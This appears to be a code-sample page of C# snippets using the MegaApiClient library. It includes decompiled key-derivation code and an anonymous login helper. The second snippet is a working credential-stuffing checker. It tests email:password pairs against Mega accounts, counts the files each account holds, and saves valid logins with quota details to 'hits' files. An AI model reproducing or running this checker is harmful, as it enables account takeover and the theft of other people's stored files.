示例#1
0
        // Token: 0x06000932 RID: 2354 RVA: 0x0004B428 File Offset: 0x00049628
        public MegaApiClient.AuthInfos GenerateAuthInfos(string email, string password, string mfaKey = null)
        {
            if (string.IsNullOrEmpty(email))
            {
                throw new ArgumentNullException("email");
            }
            if (string.IsNullOrEmpty(password))
            {
                throw new ArgumentNullException("password");
            }
            PreLoginRequest  request          = new PreLoginRequest(email);
            PreLoginResponse preLoginResponse = this.Request <PreLoginResponse>(request, null);

            if (preLoginResponse.Version == 2 && !string.IsNullOrEmpty(preLoginResponse.Salt))
            {
                byte[] salt      = preLoginResponse.Salt.FromBase64();
                byte[] password2 = password.ToBytesPassword();
                byte[] array     = new byte[32];
                using (HMACSHA512 hmacsha = new HMACSHA512())
                {
                    array = new Pbkdf2(hmacsha, password2, salt, 100000).GetBytes(array.Length);
                }
                if (!string.IsNullOrEmpty(mfaKey))
                {
                    return(new MegaApiClient.AuthInfos(email, array.Skip(16).ToArray <byte>().ToBase64(), array.Take(16).ToArray <byte>(), mfaKey));
                }
                return(new MegaApiClient.AuthInfos(email, array.Skip(16).ToArray <byte>().ToBase64(), array.Take(16).ToArray <byte>(), null));
            }
            else
            {
                if (preLoginResponse.Version != 1)
                {
                    throw new NotSupportedException("Version of account not supported");
                }
                byte[] passwordAesKey = MegaApiClient.PrepareKey(password.ToBytesPassword());
                string hash           = MegaApiClient.GenerateHash(email.ToLowerInvariant(), passwordAesKey);
                if (!string.IsNullOrEmpty(mfaKey))
                {
                    return(new MegaApiClient.AuthInfos(email, hash, passwordAesKey, mfaKey));
                }
                return(new MegaApiClient.AuthInfos(email, hash, passwordAesKey, null));
            }
        }
示例#2
0
 private static void CheckLogin(string email, string password)
 {
     CG.Web.MegaApiClient.MegaApiClient megaApiClient = new CG.Web.MegaApiClient.MegaApiClient();
     try
     {
         megaApiClient.Login(email, password);
         if (megaApiClient.IsLoggedIn)
         {
             int num1 = 0;
             int num2 = 0;
             foreach (INode node in megaApiClient.GetNodes())
             {
                 if (num1 != 0 && num1 != 1 && num1 != 2)
                 {
                     ++num2;
                 }
                 ++num1;
             }
             if (num2 > 50)
             {
                 Console.WriteLine("============================================");
                 Console.ForegroundColor = ConsoleColor.DarkGreen;
                 Console.WriteLine("[GOOD] " + email + ":" + password);
                 Console.ForegroundColor = ConsoleColor.White;
                 Console.WriteLine("Использовано: " + (object)(megaApiClient.GetAccountInformation().UsedQuota / 1073741824L) + "/" + (object)(megaApiClient.GetAccountInformation().TotalQuota / 1073741824L) + "GB");
                 Console.WriteLine(num2.ToString() + " Files Captured");
                 File.AppendAllText("hits.txt", email + ":" + password + " | Used: " + (object)(megaApiClient.GetAccountInformation().UsedQuota / 1073741824L) + "/" + (object)(megaApiClient.GetAccountInformation().TotalQuota / 1073741824L) + "GB | " + num2.ToString() + " Files Captured | Checked " + DateTime.Now.ToShortDateString() + Environment.NewLine);
                 Console.WriteLine();
             }
             else if (num2 < 50 && num2 > 10)
             {
                 Console.WriteLine("============================================");
                 Console.ForegroundColor = ConsoleColor.DarkGreen;
                 Console.WriteLine("[GOOD] " + email + ":" + password);
                 Console.ForegroundColor = ConsoleColor.White;
                 Console.WriteLine("Использовано: " + (object)(megaApiClient.GetAccountInformation().UsedQuota / 1073741824L) + "/" + (object)(megaApiClient.GetAccountInformation().TotalQuota / 1073741824L) + "GB");
                 File.AppendAllText("hits_small.txt", email + ":" + password + " | Used: " + (object)(megaApiClient.GetAccountInformation().UsedQuota / 1073741824L) + "/" + (object)(megaApiClient.GetAccountInformation().TotalQuota / 1073741824L) + "GB | " + num2.ToString() + " Files Captured | Checked " + DateTime.Now.ToShortDateString() + Environment.NewLine);
                 Console.WriteLine(num2.ToString() + " Files Captured");
                 Console.WriteLine();
             }
             else
             {
                 Console.WriteLine("============================================");
                 Console.ForegroundColor = ConsoleColor.DarkGreen;
                 Console.WriteLine("[GOOD] " + email + ":" + password);
                 Console.ForegroundColor = ConsoleColor.White;
                 Console.WriteLine("Использовано: " + (object)(megaApiClient.GetAccountInformation().UsedQuota / 1073741824L) + "/" + (object)(megaApiClient.GetAccountInformation().TotalQuota / 1073741824L) + "GB");
                 Console.WriteLine(num2.ToString() + " Files Captured");
                 Console.WriteLine();
             }
         }
         else
         {
             Console.ForegroundColor = ConsoleColor.DarkRed;
             Console.WriteLine("[BAD] " + email + ":" + password);
             Console.ForegroundColor = ConsoleColor.White;
         }
     }
     catch (Exception ex)
     {
         Console.ForegroundColor = ConsoleColor.DarkRed;
         Console.WriteLine("[BAD] " + email + ":" + password);
         Console.ForegroundColor = ConsoleColor.White;
     }
 }
 private void MegaInit()
 {
     megaClient = new Mega.MegaApiClient();
     megaClient.LoginAnonymous();
 }